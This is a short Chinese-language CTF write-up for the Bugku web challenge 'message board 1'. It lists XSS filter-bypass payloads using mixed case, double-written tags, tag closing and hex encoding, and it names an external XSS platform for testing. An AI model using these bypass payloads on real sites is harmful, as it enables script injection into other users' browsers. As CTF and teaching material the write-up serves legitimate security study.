bugku-web-留言板1

大小写绕过也不行

<ScRipt>ALeRt("XSS");</sCRipT>

双写绕过可以

<scscriptript>alert('z')</scscriptript>

改变大小写

在测试过程中,我们可以改变测试语句的大小写来绕过XSS规则:

比如:<script>alert("xss");</script>可以转换为:

<ScRipt>ALeRt("XSS");</sCRipT>

关闭标签

有时候我们需要关闭标签来使我们的XSS生效。

比如:"><script>alert("Hi");</script>

使用hex编码绕过

我们可以对我们的语句进行hex编码来绕过XSS规则

比如:<script>alert("xss");</script>可以转换为:

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e

所以确定了过滤方式之后,找个xss平台(https://xssaq.com)测试一下:

相关推荐
7yue1 分钟前
我用 AI 把 Learn Claude Code 改写成了 TypeScript + 代数效应版本
前端
云宝大王1 分钟前
JavaScript 异步编程:从回调到探索 Promise的秘密
前端·javascript
daols882 分钟前
vxe-table 进阶:同时使用 formatter 与 cell-render 实现格式化与样式定制
前端·javascript·vue.js·vxe-table
用户059540174462 分钟前
用LangChain+FastAPI构建私有知识库踩坑实录:这3个问题让我排查了整整8小时
前端·css
Momo__2 分钟前
CSS View Transitions 新语法:sibling-index() + ident(),千级元素命名难题的终局方案
前端·css
前端张三12 分钟前
ant design vue table 使用虚拟滚动
前端·javascript·vue.js
木子雨廷15 分钟前
Flutter 内存管理实战:从 GC 原理到 DevTools 泄漏排查
前端·flutter
Rkgua17 分钟前
TS中`Function`、`CallableFunction` 和 `NewableFunction`的函数区别
前端
Asize18 分钟前
重生之我在 Vibe Coding 时代当程序员:第十一课,JS底层 :变量提升真相
前端·javascript
HYCS19 分钟前
用pixi.js实现fabric.js(五):事件系统
前端·javascript·canvas